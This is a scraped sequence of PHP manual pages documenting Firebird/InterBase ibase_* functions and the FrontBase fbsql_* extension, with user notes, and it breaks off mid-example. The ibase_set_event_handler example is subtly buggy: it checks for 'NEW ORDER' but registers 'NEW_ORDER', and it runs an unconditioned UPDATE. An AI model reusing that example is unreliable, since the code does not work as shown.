Rolls back a transaction without closing it.

Parameters

link_or_trans_identifier

If called without an argument, this function rolls back the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be rolled back. If the argument is a transaction identifier, the corresponding transaction will be rolled back. The transaction context will be retained, so statements executed from within this transaction will not be invalidated.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ibase_restore
ibase_rollback
Firebird/InterBase Functions


Roll back a transaction

ibase_rollback_ret
ibase_server_info
Firebird/InterBase Functions
PHP Manual

ibase_rollback

(PHP 4, PHP 5)

ibase_rollback — Roll back a transaction

Description

bool ibase_rollback ([ resource $link_or_trans_identifier = NULL ] )

Rolls back a transaction.

Parameters

link_or_trans_identifier

If called without an argument, this function rolls back the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be rolled back. If the argument is a transaction identifier, the corresponding transaction will be rolled back.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ibase_rollback_ret
ibase_server_info
Firebird/InterBase Functions


Request information about a database server

ibase_rollback
ibase_service_attach
Firebird/InterBase Functions
PHP Manual

ibase_server_info

(PHP 5)

ibase_server_info — Request information about a database server

Description

string ibase_server_info ( resource $service_handle , int $action )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

kgbfernando 19-Jan-2009 03:49
A Little Example

<?php
    // get server version and implementation strings
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;
?>
ibase_rollback
ibase_service_attach
Firebird/InterBase Functions


Connect to the service manager

ibase_server_info
ibase_service_detach
Firebird/InterBase Functions
PHP Manual

ibase_service_attach

(PHP 5)

ibase_service_attach — Connect to the service manager

Description

resource ibase_service_attach ( string $host , string $dba_username , string $dba_password )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

Paul Vinkenoog 17-Apr-2008 05:46
The previous comment is incorrect. You can connect to the Service Manager as any valid user, and connecting to the Service Manager is not the same as connecting to the security database. However, some of the service functions (which you may subsequently call with the service handle returned by ibase_service_attach) are only available to SYSDBA.
houston_roadrunner at yahoo dot com 19-Apr-2006 09:47
When using this function it looks like you can only use SYSDBA as the user, as you are connecting to the security database. This is a restriction by the interbase/firebird server.
12-Apr-2006 01:58
An example of ibase_service_attach:
<?php
    //attach to the server running on localhost
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        //retrieve server info
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        //detach from server (disconnect)
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;
?>
Should echo something like:

 WI-T2.0.0.12484 Firebird 2.0 Release Candidate 1 / Firebird/x86/Windows NT

Taken/adapted from ibWebAdmin source code
ibase_server_info
ibase_service_detach
Firebird/InterBase Functions


Disconnect from the service manager

ibase_service_attach
ibase_set_event_handler
Firebird/InterBase Functions
PHP Manual

ibase_service_detach

(PHP 5)

ibase_service_detach — Disconnect from the service manager

Description

bool ibase_service_detach ( resource $service_handle )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ibase_service_attach
ibase_set_event_handler
Firebird/InterBase Functions


Register a callback function to be called when events are posted

ibase_service_detach
ibase_timefmt
Firebird/InterBase Functions
PHP Manual

ibase_set_event_handler

(PHP 5)

ibase_set_event_handler — Register a callback function to be called when events are posted

Description

resource ibase_set_event_handler ( callback $event_handler , string $event_name1 [, string $event_name2 [, string $... ]] )
resource ibase_set_event_handler ( resource $connection , callback $event_handler , string $event_name1 [, string $event_name2 [, string $... ]] )

This function registers a PHP user function as event handler for the specified events.

Parameters

event_handler

The callback is called with the event name and the link resource as arguments whenever one of the specified events is posted by the database.

The callback must return FALSE if the event handler should be canceled. Any other return value is ignored. This function accepts up to 15 event arguments.

event_name1

An event name.

event_name2

At most 15 events allowed.

Return Values

The return value is an event resource. This resource can be used to free the event handler using ibase_free_event_handler().

Examples

Example #1 ibase_set_event_handler() example

<?php

function event_handler($event_name, $link)
{
    if ($event_name == "NEW ORDER") {
        // process new order
        ibase_query($link, "UPDATE orders SET status='handled'");
    } else if ($event_name == "DB_SHUTDOWN") {
        // free event handler
        return false;
    }
}

ibase_set_event_handler($link, "event_handler", "NEW_ORDER", "DB_SHUTDOWN");
?>

See Also

  • ibase_free_event_handler() - Cancels a registered event handler
  • ibase_wait_event() - Wait for an event to be posted by the database

User Contributed Notes

There are no user contributed notes for this page.
ibase_service_detach
ibase_timefmt
Firebird/InterBase Functions


Sets the format of timestamp, date and time type columns returned from queries

ibase_set_event_handler
ibase_trans
Firebird/InterBase Functions
PHP Manual

ibase_timefmt

(PHP 4)

ibase_timefmt — Sets the format of timestamp, date and time type columns returned from queries

Description

bool ibase_timefmt ( string $format [, int $columntype = IBASE_TIMESTAMP ] )

Sets the format of timestamp, date or time type columns returned from queries.

You can set defaults for these formats with the PHP configuration directives ibase.timestampformat, ibase.dateformat and ibase.timeformat.

Note:

This function has been removed from PHP 5, use ini_set() instead.

Parameters

format

Internally, the columns are formatted by c-function strftime(), so refer to its documentation regarding to the format of the string.

columntype

columntype is one of the constants IBASE_TIMESTAMP, IBASE_DATE and IBASE_TIME. If omitted, defaults to IBASE_TIMESTAMP for backwards compatibility.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ibase_timefmt() example

<?php
/* InterBase 6 TIME-type columns will be returned in
 * the form '05 hours 37 minutes'. */
ibase_timefmt("%H hours %M minutes", IBASE_TIME);
?>

User Contributed Notes

slynko at gmail dot com 03-Feb-2006 12:21
I use this code (for easy migration from PHP4 to PHP5):

/**
 * Constant definitions that has been removed from PHP 5
*/
const IBASE_DATE = "ibase.dateformat";
const IBASE_TIME = "ibase.timeformat";
const IBASE_TIMESTAMP = "ibase.timestampformat";

/**
 * Sets the format of timestamp, date or time type
 * columns returned from queries
*/
function ibase_timefmt($format, $where = IBASE_TIMESTAMP)
{
 ini_set($where, $format);
}
ibase_set_event_handler
ibase_trans
Firebird/InterBase Functions


Begin a transaction

ibase_timefmt
ibase_wait_event
Firebird/InterBase Functions
PHP Manual

ibase_trans

(PHP 4, PHP 5)

ibase_trans — Begin a transaction

Description

resource ibase_trans ([ int $trans_args [, resource $link_identifier ]] )
resource ibase_trans ([ resource $link_identifier [, int $trans_args ]] )

Begins a transaction.

Note:

The behaviour of this function has been changed in PHP 5.0.0. The first call to ibase_trans() will not return the default transaction of a connection. All transactions started by ibase_trans() will be rolled back at the end of the script if they were not committed or rolled back by either ibase_commit() or ibase_rollback().

Note:

In PHP 5.0.0. and up, this function will accept multiple trans_args and link_identifier arguments. This allows transactions over multiple database connections, which are committed using a 2-phase commit algorithm. This means you can rely on the updates to either succeed in every database, or fail in every database. It does NOT mean you can use tables from different databases in the same query!

If you use transactions over multiple databases, you will have to specify both the link_id and transaction_id in calls to ibase_query() and ibase_prepare().

Parameters

trans_args

trans_args can be a combination of IBASE_READ, IBASE_WRITE, IBASE_COMMITTED, IBASE_CONSISTENCY, IBASE_CONCURRENCY, IBASE_REC_VERSION, IBASE_REC_NO_VERSION, IBASE_WAIT and IBASE_NOWAIT.

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

Return Values

Returns a transaction handle, or FALSE on error.

User Contributed Notes

chAlx 16-Dec-2011 01:42
Note that on some platforms ibase_trans($dbh), ibase_trans(IBASE_DEFAULT, $dbh) and ibase_trans($dbh, IBASE_DEFAULT) are not the same, but will run without errors in most cases.
Aaron Brundle 10-Nov-2005 02:06
Example of using ibase_trans with ibase_prepare and ibase_execute:

$dbh = ibase_connect( ... );
$sql =  " ... ";
$trans = ibase_trans( IBASE_DEFAULT,$dbh );
$sth = ibase_prepare( $trans, $sql );
$res = ibase_execute( $sth, $params_if_any );
if ($res == false) {
  //log failure if you want
}
ibase_commit($trans);
//free if needed
ibase_free_query($sth);
unset($res);
jon at tgpsolutions dot com 11-Jul-2002 06:56
When using transactions, you must execute queries using the transaction identifier as the link_identifier in ibase_query.

Example:

$db = ibase_connect( ... );
$tr = ibase_trans();
$result = ibase_query($tr, $sql1);
$result = ibase_query($tr, $sql2);
ibase_rollback($tr);

You must use ibase_query($tr, $sql1).  Calling ibase_query($db, $sql1) will not allow you to roll back - it will be commited when the script finishes executing.
ibase_timefmt
ibase_wait_event
Firebird/InterBase Functions


Wait for an event to be posted by the database

ibase_trans
FrontBase
Firebird/InterBase Functions
PHP Manual

ibase_wait_event

(PHP 5)

ibase_wait_event — Wait for an event to be posted by the database

Description

string ibase_wait_event ( string $event_name1 [, string $event_name2 [, string $... ]] )
string ibase_wait_event ( resource $connection , string $event_name1 [, string $event_name2 [, string $... ]] )

This function suspends execution of the script until one of the specified events is posted by the database. The name of the event that was posted is returned. This function accepts up to 15 event arguments.

Parameters

event_name1

The event name.

event_name2

...

Return Values

Returns the name of the event that was posted.

See Also

  • ibase_set_event_handler() - Register a callback function to be called when events are posted
  • ibase_free_event_handler() - Cancels a registered event handler

User Contributed Notes

There are no user contributed notes for this page.
ibase_trans
FrontBase
Firebird/InterBase Functions


FrontBase

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • FrontBase Functions
    • fbsql_affected_rows — Get number of affected rows in previous FrontBase operation
    • fbsql_autocommit — Enable or disable autocommit
    • fbsql_blob_size — Get the size of a BLOB
    • fbsql_change_user — Change logged in user of the active connection
    • fbsql_clob_size — Get the size of a CLOB
    • fbsql_close — Close FrontBase connection
    • fbsql_commit — Commits a transaction to the database
    • fbsql_connect — Open a connection to a FrontBase Server
    • fbsql_create_blob — Create a BLOB
    • fbsql_create_clob — Create a CLOB
    • fbsql_create_db — Create a FrontBase database
    • fbsql_data_seek — Move internal result pointer
    • fbsql_database_password — Sets or retrieves the password for a FrontBase database
    • fbsql_database — Get or set the database name used with a connection
    • fbsql_db_query — Send a FrontBase query
    • fbsql_db_status — Get the status for a given database
    • fbsql_drop_db — Drop (delete) a FrontBase database
    • fbsql_errno — Returns the error number from previous operation
    • fbsql_error — Returns the error message from previous operation
    • fbsql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
    • fbsql_fetch_assoc — Fetch a result row as an associative array
    • fbsql_fetch_field — Get column information from a result and return as an object
    • fbsql_fetch_lengths — Get the length of each output in a result
    • fbsql_fetch_object — Fetch a result row as an object
    • fbsql_fetch_row — Get a result row as an enumerated array
    • fbsql_field_flags — Get the flags associated with the specified field in a result
    • fbsql_field_len — Returns the length of the specified field
    • fbsql_field_name — Get the name of the specified field in a result
    • fbsql_field_seek — Set result pointer to a specified field offset
    • fbsql_field_table — Get name of the table the specified field is in
    • fbsql_field_type — Get the type of the specified field in a result
    • fbsql_free_result — Free result memory
    • fbsql_get_autostart_info — Description
    • fbsql_hostname — Get or set the host name used with a connection
    • fbsql_insert_id — Get the id generated from the previous INSERT operation
    • fbsql_list_dbs — List databases available on a FrontBase server
    • fbsql_list_fields — List FrontBase result fields
    • fbsql_list_tables — List tables in a FrontBase database
    • fbsql_next_result — Move the internal result pointer to the next result
    • fbsql_num_fields — Get number of fields in result
    • fbsql_num_rows — Get number of rows in result
    • fbsql_password — Get or set the user password used with a connection
    • fbsql_pconnect — Open a persistent connection to a FrontBase Server
    • fbsql_query — Send a FrontBase query
    • fbsql_read_blob — Read a BLOB from the database
    • fbsql_read_clob — Read a CLOB from the database
    • fbsql_result — Get result data
    • fbsql_rollback — Rollback a transaction to the database
    • fbsql_rows_fetched — Get the number of rows affected by the last statement
    • fbsql_select_db — Select a FrontBase database
    • fbsql_set_characterset — Change input/output character set
    • fbsql_set_lob_mode — Set the LOB retrieve mode for a FrontBase result set
    • fbsql_set_password — Change the password for a given user
    • fbsql_set_transaction — Set the transaction locking and isolation
    • fbsql_start_db — Start a database on local or remote server
    • fbsql_stop_db — Stop a database on local or remote server
    • fbsql_table_name — Get table name of field
    • fbsql_tablename — Alias of fbsql_table_name
    • fbsql_username — Get or set the username for the connection
    • fbsql_warnings — Enable or disable FrontBase warnings

User Contributed Notes

There are no user contributed notes for this page.
ibase_wait_event
Introduction
Vendor Specific Database Extensions


Introduction

These functions allow you to access FrontBase database servers. More information about FrontBase can be found at » http://www.frontbase.com/.

Documentation for FrontBase can be found at » http://www.frontbase.com/cgi-bin/WebObjects/FBWebSite.woa.

Frontbase support has been added to PHP 4.0.6.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.
FrontBase
Installing/Configuring
FrontBase


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
FrontBase


Requirements

You must install the FrontBase database server or at least the fbsql client libraries to use this functions. You can get FrontBase from » http://www.frontbase.com/.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

In order to have these functions available, you must compile PHP with fbsql support by using the --with-fbsql[=DIR] option. If you use this option without specifying the path to fbsql, PHP will search for the fbsql client libraries in the default installation location for the platform. Users who installed FrontBase in a non standard directory should always specify the path to fbsql: --with-fbsql=/path/to/fbsql . This will force PHP to use the client libraries installed by FrontBase, avoiding any conflicts.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

FrontBase configuration options
Name | Default | Changeable | Changelog
fbsql.allow_persistent | "1" | PHP_INI_SYSTEM | Available since PHP 4.2.0.
fbsql.generate_warnings | "0" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.autocommit | "1" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_persistent | "-1" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_links | "128" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_connections | "128" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.max_results | "128" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.batchSize | "1000" | PHP_INI_SYSTEM | Available since PHP 4.2.0. Removed in PHP 5.1.0.
fbsql.default_host | NULL | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_user | "_SYSTEM" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_password | "" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_database | "" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
fbsql.default_database_password | "" | PHP_INI_SYSTEM | Available since PHP 4.0.6.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FBSQL_ASSOC (integer)
FBSQL_NUM (integer)
FBSQL_BOTH (integer)
FBSQL_LOCK_DEFERRED (integer)
FBSQL_LOCK_OPTIMISTIC (integer)
FBSQL_LOCK_PESSIMISTIC (integer)
FBSQL_ISO_READ_UNCOMMITTED (integer)
FBSQL_ISO_READ_COMMITTED (integer)
FBSQL_ISO_REPEATABLE_READ (integer)
FBSQL_ISO_SERIALIZABLE (integer)
FBSQL_ISO_VERSIONED (integer)
FBSQL_UNKNOWN (integer)
FBSQL_STOPPED (integer)
FBSQL_STARTING (integer)
FBSQL_RUNNING (integer)
FBSQL_STOPPING (integer)
FBSQL_NOEXEC (integer)
FBSQL_LOB_DIRECT (integer)
FBSQL_LOB_HANDLE (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
FrontBase Functions
FrontBase


FrontBase Functions

Table of Contents

  • fbsql_affected_rows — Get number of affected rows in previous FrontBase operation
  • fbsql_autocommit — Enable or disable autocommit
  • fbsql_blob_size — Get the size of a BLOB
  • fbsql_change_user — Change logged in user of the active connection
  • fbsql_clob_size — Get the size of a CLOB
  • fbsql_close — Close FrontBase connection
  • fbsql_commit — Commits a transaction to the database
  • fbsql_connect — Open a connection to a FrontBase Server
  • fbsql_create_blob — Create a BLOB
  • fbsql_create_clob — Create a CLOB
  • fbsql_create_db — Create a FrontBase database
  • fbsql_data_seek — Move internal result pointer
  • fbsql_database_password — Sets or retrieves the password for a FrontBase database
  • fbsql_database — Get or set the database name used with a connection
  • fbsql_db_query — Send a FrontBase query
  • fbsql_db_status — Get the status for a given database
  • fbsql_drop_db — Drop (delete) a FrontBase database
  • fbsql_errno — Returns the error number from previous operation
  • fbsql_error — Returns the error message from previous operation
  • fbsql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
  • fbsql_fetch_assoc — Fetch a result row as an associative array
  • fbsql_fetch_field — Get column information from a result and return as an object
  • fbsql_fetch_lengths — Get the length of each output in a result
  • fbsql_fetch_object — Fetch a result row as an object
  • fbsql_fetch_row — Get a result row as an enumerated array
  • fbsql_field_flags — Get the flags associated with the specified field in a result
  • fbsql_field_len — Returns the length of the specified field
  • fbsql_field_name — Get the name of the specified field in a result
  • fbsql_field_seek — Set result pointer to a specified field offset
  • fbsql_field_table — Get name of the table the specified field is in
  • fbsql_field_type — Get the type of the specified field in a result
  • fbsql_free_result — Free result memory
  • fbsql_get_autostart_info — Description
  • fbsql_hostname — Get or set the host name used with a connection
  • fbsql_insert_id — Get the id generated from the previous INSERT operation
  • fbsql_list_dbs — List databases available on a FrontBase server
  • fbsql_list_fields — List FrontBase result fields
  • fbsql_list_tables — List tables in a FrontBase database
  • fbsql_next_result — Move the internal result pointer to the next result
  • fbsql_num_fields — Get number of fields in result
  • fbsql_num_rows — Get number of rows in result
  • fbsql_password — Get or set the user password used with a connection
  • fbsql_pconnect — Open a persistent connection to a FrontBase Server
  • fbsql_query — Send a FrontBase query
  • fbsql_read_blob — Read a BLOB from the database
  • fbsql_read_clob — Read a CLOB from the database
  • fbsql_result — Get result data
  • fbsql_rollback — Rollback a transaction to the database
  • fbsql_rows_fetched — Get the number of rows affected by the last statement
  • fbsql_select_db — Select a FrontBase database
  • fbsql_set_characterset — Change input/output character set
  • fbsql_set_lob_mode — Set the LOB retrieve mode for a FrontBase result set
  • fbsql_set_password — Change the password for a given user
  • fbsql_set_transaction — Set the transaction locking and isolation
  • fbsql_start_db — Start a database on local or remote server
  • fbsql_stop_db — Stop a database on local or remote server
  • fbsql_table_name — Get table name of field
  • fbsql_tablename — Alias of fbsql_table_name
  • fbsql_username — Get or set the username for the connection
  • fbsql_warnings — Enable or disable FrontBase warnings

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
fbsql_affected_rows
FrontBase


Get number of affected rows in previous FrontBase operation

FrontBase Functions
fbsql_autocommit
FrontBase Functions
PHP Manual

fbsql_affected_rows

(PHP 4 >= 4.0.6, PHP 5)

fbsql_affected_rows — Get number of affected rows in previous FrontBase operation

Description

int fbsql_affected_rows ([ resource $link_identifier ] )

fbsql_affected_rows() returns the number of rows affected by the last INSERT, UPDATE or DELETE query associated with link_identifier.

Note:

If you are using transactions, you need to call fbsql_affected_rows() after your INSERT, UPDATE, or DELETE query, not after the commit.

If the last query was a DELETE query with no WHERE clause, all of the records will have been deleted from the table but this function will return zero.

Note:

When using UPDATE, FrontBase will not update columns where the new value is the same as the old value. This creates the possibility that fbsql_affected_rows() may not actually equal the number of rows matched, only the number of rows that were literally affected by the query.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

If the last query failed, this function will return -1.

See Also

  • fbsql_num_rows() - Get number of rows in result

User Contributed Notes

There are no user contributed notes for this page.
FrontBase Functions
fbsql_autocommit
FrontBase Functions


Enable or disable autocommit

fbsql_affected_rows
fbsql_blob_size
FrontBase Functions
PHP Manual

fbsql_autocommit

(PHP 4 >= 4.0.6, PHP 5)

fbsql_autocommit — Enable or disable autocommit

Description

bool fbsql_autocommit ( resource $link_identifier [, bool $OnOff ] )

Returns the current autocommit status.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

OnOff

If this optional parameter is given the auto commit status will be changed.

With OnOff set to TRUE each statement will be committed automatically, if no errors was found.

With OnOff set to FALSE the user must commit or rollback the transaction using either fbsql_commit() or fbsql_rollback().

Return Values

Returns the current autocommit status, as a boolean.

See Also

  • fbsql_commit() - Commits a transaction to the database
  • fbsql_rollback() - Rollback a transaction to the database

User Contributed Notes

There are no user contributed notes for this page.
fbsql_affected_rows
fbsql_blob_size
FrontBase Functions


Get the size of a BLOB

fbsql_autocommit
fbsql_change_user
FrontBase Functions
PHP Manual

fbsql_blob_size

(PHP 4 >= 4.2.0, PHP 5)

fbsql_blob_size — Get the size of a BLOB

Description

int fbsql_blob_size ( string $blob_handle [, resource $link_identifier ] )

Returns the size of the given BLOB.

Parameters

blob_handle

A BLOB handle, returned by fbsql_create_blob().

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns the BLOB size as an integer, or FALSE on error.

See Also

  • fbsql_clob_size() - Get the size of a CLOB

User Contributed Notes

There are no user contributed notes for this page.
fbsql_autocommit
fbsql_change_user
FrontBase Functions


Change logged in user of the active connection

fbsql_blob_size
fbsql_clob_size
FrontBase Functions
PHP Manual

fbsql_change_user

(PHP 4 >= 4.0.6, PHP 5)

fbsql_change_user — Change logged in user of the active connection

Description

bool fbsql_change_user ( string $user , string $password [, string $database [, resource $link_identifier ]] )

fbsql_change_user() changes the logged in user of the specified connection. If the new user and password authorization fails, the current connected user stays active.

Parameters

user

The new user name.

password

The new user password.

database

If specified, this will be the default or current database after the user has been changed.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
fbsql_blob_size
fbsql_clob_size
FrontBase Functions


Get the size of a CLOB

fbsql_change_user
fbsql_close
FrontBase Functions
PHP Manual

fbsql_clob_size

(PHP 4 >= 4.2.0, PHP 5)

fbsql_clob_size — Get the size of a CLOB

Description

int fbsql_clob_size ( string $clob_handle [, resource $link_identifier ] )

Returns the size of the given CLOB.

Parameters

clob_handle

A CLOB handle, returned by fbsql_create_clob().

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns the CLOB size as an integer, or FALSE on error.

See Also

  • fbsql_blob_size() - Get the size of a BLOB

User Contributed Notes

There are no user contributed notes for this page.
fbsql_change_user
fbsql_close
FrontBase Functions


Close FrontBase connection

fbsql_clob_size
fbsql_commit
FrontBase Functions
PHP Manual

fbsql_close

(PHP 4 >= 4.0.6, PHP 5)

fbsql_close — Close FrontBase connection

Description

bool fbsql_close ([ resource $link_identifier ] )

Closes the connection to the FrontBase server that's associated with the specified link identifier.

Using fbsql_close() isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 fbsql_close() example

<?php
$link = fbsql_connect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
echo "Connected successfully";
fbsql_close($link);
?>

See Also

  • fbsql_connect() - Open a connection to a FrontBase Server
  • fbsql_pconnect() - Open a persistent connection to a FrontBase Server

User Contributed Notes

There are no user contributed notes for this page.
fbsql_clob_size
fbsql_commit
FrontBase Functions


Commits a transaction to the database

fbsql_close
fbsql_connect
FrontBase Functions
PHP Manual

fbsql_commit

(PHP 4 >= 4.0.6, PHP 5)

fbsql_commit — Commits a transaction to the database

Description

bool fbsql_commit ([ resource $link_identifier ] )

Ends the current transaction by writing all inserts, updates and deletes to the disk and unlocking all row and table locks held by the transaction. This command is only needed if autocommit is set to false.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_autocommit() - Enable or disable autocommit
  • fbsql_rollback() - Rollback a transaction to the database

User Contributed Notes

There are no user contributed notes for this page.
fbsql_close
fbsql_connect
FrontBase Functions


Open a connection to a FrontBase Server

fbsql_commit
fbsql_create_blob
FrontBase Functions
PHP Manual

fbsql_connect

(PHP 4 >= 4.0.6, PHP 5)

fbsql_connect — Open a connection to a FrontBase Server

Description

 resource fbsql_connect
  ([ string $hostname = ini_get("fbsql.default_host")
 [, string $username = ini_get("fbsql.default_user")
 [, string $password = ini_get("fbsql.default_password")
]]] )

fbsql_connect() establishes a connection to a FrontBase server.

If a second call is made to fbsql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling fbsql_close().

Parameters

hostname

The server host name.

username

The user name for the connection.

password

The password for the connection.

Return Values

Returns a positive FrontBase link identifier on success, or FALSE on errors.

Examples

Example #1 fbsql_connect() example

<?php

$link = fbsql_connect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
echo "Connected successfully";
fbsql_close($link);

?>

See Also

  • fbsql_pconnect() - Open a persistent connection to a FrontBase Server
  • fbsql_close() - Close FrontBase connection

User Contributed Notes

There are no user contributed notes for this page.
fbsql_commit
fbsql_create_blob
FrontBase Functions


Create a BLOB

fbsql_connect
fbsql_create_clob
FrontBase Functions
PHP Manual

fbsql_create_blob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_create_blob — Create a BLOB

Description

string fbsql_create_blob ( string $blob_data [, resource $link_identifier ] )

Creates a BLOB from the given data.

Parameters

blob_data

The BLOB data.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a resource handle to the newly created BLOB, which can be used with insert and update commands to store the BLOB in the database.

Examples

Example #1 fbsql_create_blob() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
$filename = "blobfile.bin";
$fp = fopen($filename, "rb");
$blobdata = fread($fp, filesize($filename));
fclose($fp);

$blobHandle = fbsql_create_blob($blobdata, $link);

$sql = "INSERT INTO BLOB_TABLE (BLOB_COLUMN) VALUES ($blobHandle);";
$rs = fbsql_query($sql, $link);
?>

See Also

  • fbsql_create_clob() - Create a CLOB
  • fbsql_read_blob() - Read a BLOB from the database
  • fbsql_read_clob() - Read a CLOB from the database
  • fbsql_set_lob_mode() - Set the LOB retrieve mode for a FrontBase result set

User Contributed Notes

There are no user contributed notes for this page.
fbsql_connect
fbsql_create_clob
FrontBase Functions


Create a CLOB

fbsql_create_blob
fbsql_create_db
FrontBase Functions
PHP Manual

fbsql_create_clob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_create_clob — Create a CLOB

Description

string fbsql_create_clob ( string $clob_data [, resource $link_identifier ] )

Creates a CLOB from the given data.

Parameters

clob_data

The CLOB data.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a resource handle to the newly created CLOB, which can be used with insert and update commands to store the CLOB in the database.

Examples

Example #1 fbsql_create_clob() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
$filename = "clob_file.txt";
$fp = fopen($filename, "rb");
$clobdata = fread($fp, filesize($filename));
fclose($fp);

$clobHandle = fbsql_create_clob($clobdata, $link);

$sql = "INSERT INTO CLOB_TABLE (CLOB_COLUMN) VALUES ($clobHandle);";
$rs = fbsql_query($sql, $link);
?>

See Also

  • fbsql_create_blob() - Create a BLOB
  • fbsql_read_blob() - Read a BLOB from the database
  • fbsql_read_clob() - Read a CLOB from the database
  • fbsql_set_lob_mode() - Set the LOB retrieve mode for a FrontBase result set

User Contributed Notes

There are no user contributed notes for this page.
fbsql_create_blob
fbsql_create_db
FrontBase Functions


Create a FrontBase database

fbsql_create_clob
fbsql_data_seek
FrontBase Functions
PHP Manual

fbsql_create_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_create_db — Create a FrontBase database

Description

bool fbsql_create_db ( string $database_name [, resource $link_identifier [, string $database_options ]] )

Attempts to create a new database on the specified server.

Parameters

database_name

The database name, as a string.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

database_options

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 fbsql_create_db() example

<?php
